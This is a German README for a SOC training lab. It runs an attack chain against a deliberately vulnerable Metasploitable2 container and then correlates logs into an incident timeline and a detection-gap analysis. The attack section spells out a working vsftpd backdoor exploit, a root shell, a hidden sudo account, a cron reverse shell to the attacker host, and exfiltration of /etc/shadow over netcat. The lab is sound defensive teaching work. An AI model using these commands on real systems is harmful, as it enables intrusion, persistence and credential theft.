End-to-End-SOC-Untersuchungslabor

Führt eine vollständige Angriffskette mit vier Phasen (Reconnaissance → Exploitation → Persistence → Exfiltration) gegen Metasploitable2 aus, sammelt in jeder Phase Beweismaterial und erstellt eine strukturierte Vorfall-Zeitleiste sowie einen SOC-Bericht – und demonstriert dabei gleichzeitig das Denken von Angreifer und Verteidiger.

Zielsetzung

Dies ist das Abschlussprojekt. Es demonstriert die Fähigkeit:

Eine realistische Kill Chain gegen ein bewusst verwundbares Ziel auszuführen
In jeder Phase forensische Beweise aus mehreren Telemetriequellen zu sammeln
Logeinträge aus unterschiedlichen Systemen zu einer einheitlichen Vorfall-Zeitleiste zu korrelieren
Eine Analyse der Sichtbarkeitslücken durchzuführen – aufzudecken, was ohne angemessene Erkennungsabdeckung übersehen worden wäre
Einen SOC-tauglichen Vorfallbericht im Format echter Sicherheitsteams zu erstellen

Der verwendete Exploit (CVE-2011-2523 — vsftpd-2.3.4-Hintertür) ist historisch bedeutsam: Es handelte sich um einen Supply-Chain-Angriff, bei dem ein Angreifer eine Hintertür in das Quellcode-Repository des Open-Source-Pakets vsftpd einschleuste.

Architektur

                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  Attacker   │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  Phase 2    │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  Phase 3    │─────╫─► useradd sysbackup           ║
│  persistence│─────╫─► crontab reverse shell       ║
│             │     ║                               ║
│  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
│  exfiltration     ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ Evidence collection:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  Parser: MSF log + auth.log + tshark CSV         │
│  → merge by timestamp → tag by phase             │
│  → JSON timeline + Markdown incident report      │
└──────────────────────────────────────────────────┘

Werkzeuge & Stack

Einrichtung

cd docker/

# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable

# Verify target is reachable
nmap -p 21,22,80 172.23.0.200

# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

Durchführung (Angriffskette)

Phase 1 — Aufklärung

nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

Wichtigste Erkenntnis: 21/tcp open ftp vsftpd 2.3.4

Phase 2 — Exploitation (CVE-2011-2523)

# Method A: Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

Warum das funktioniert: Wenn vsftpd 2.3.4 einen Benutzernamen mit der Teilzeichenkette :) empfängt, führt der Daemon execl("/bin/sh",...) aus, das an TCP-Port 6200 gebunden ist. Keine Authentifizierung erforderlich – direkte Root-Shell.

Phase 3 — Persistenz

# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

Phase 4 — Exfiltration

# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555

Erstellen der Vorfall-Zeitleiste

# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# Build timeline from all sources
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

Beispielausgabe

`build_timeline.py` stderr

2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)

Vorfall-Zeitleiste (Auszug aus `samples/sample_timeline.json`)

{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

Analyse der Sichtbarkeitslücken

Dies ist die wichtigste analytische Ausgabe – was ohne angemessene Erkennung übersehen worden wäre.

Kritische Erkenntnis: Der vsftpd-2.3.4-Exploit hinterlässt keinen Eintrag in auth.log, weil er das Anmelde-Subsystem umgeht. Der einzige Log-Beweis ist die anschließende TCP-Verbindung zu Port 6200 – unsichtbar ohne Netzwerk-Telemetrie. Endpoint-Logs allein können diese Angriffsklasse nicht erkennen.

Einschränkungen & zukünftige Arbeiten

Referenzen

Projektstruktur

04-soc-investigation/
├── src/
│   ├── build_timeline.py      # Multi-source log merger + phase tagger
│   └── run_attack_chain.sh    # Step-by-step attack chain with exact commands
├── configs/
│   └── splunk_detection_rules.spl   # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│   └── sample_timeline.json   # Example incident timeline JSON
├── docker/
│   └── docker-compose.yml     # Metasploitable2 isolated target
├── docs/
│   └── incident_report.md     # Generated SOC report (build_timeline.py --output-md)
└── screenshots/

Metasploitable2	Bewusst verwundbares Linux-Zielsystem
Nmap 7.94	Phase 1: Dienste-Enumeration
Metasploit 6.x	Phase 2: vsftpd-2.3.4-Exploit
Netcat	Phase 3–4: Persistenz + Exfiltration
tshark	Paketerfassung über alle Phasen
Python 3	`build_timeline.py` – Multi-Quellen-Log-Zusammenführung
Splunk Free / ELK	Phasenspezifische SIEM-Erkennung

RECON	PCAP: SYN-Flut auf 24 Ports	Port-Sweep-Regel (>20 Ports/10s) ✓	Langsamer Scan (-T1): umgeht den Raten-Schwellenwert vollständig
EXPLOIT	PCAP: neue Verbindung zu :6200 · Kein auth.log-Eintrag	Anomalie-Regel für Port :6200 ✓	Wenn der Angreifer einen HTTP-Exploit auf :80 verwendet hätte – keine Port-Anomalie
PERSIST	auth.log: `new user: name=sysbackup`	Alarm bei Erstellung neuer Benutzer ✓	Direkte `/etc/passwd`-Bearbeitung: keinerlei Protokollierung ohne auditd
EXFIL	PCAP: 4 KB ausgehend auf :5555	Regel für nicht standardmäßigen Port + Größe ✓	DNS-Exfiltration (TXT-Records): umgeht Volumenregeln vollständig

vsftpd 2.3.4 ist eine Schwachstelle von 2011	Nicht repräsentativ für moderne Exploits	EternalBlue (MS17-010) als alternatives Exploit-Szenario hinzufügen
`build_timeline.py` verwendet Schlüsselwort-Klassifikation	Klassifiziert einige Ereignisse falsch	Einen schlanken NLP-Klassifikator mit annotierten Logdaten trainieren
Keine Endpoint-Erkennung (EDR)	Datei-Level-Persistenz (authorized_keys) nicht erfasst	Wazuh oder Elastic Agent auf dem Ziel installieren
Manuelle Ausführung der Angriffskette	Ohne interaktive Eingriffe nicht reproduzierbar	Phase 2–4 mit Metasploit-Ressourcenskripten automatisieren

CVE-2011-2523 — vsftpd-2.3.4-Hintertür	https://nvd.nist.gov/vuln/detail/CVE-2011-2523
MITRE ATT&CK — Exploit einer öffentlich erreichbaren Anwendung	T1190
MITRE ATT&CK — Konto erstellen: Lokales Konto	T1136.001
MITRE ATT&CK — Geplante Aufgabe/Auftrag: Cron	T1053.003
MITRE ATT&CK — Exfiltration über C2-Kanal	T1041
MITRE ATT&CK — Gültige Konten	T1078

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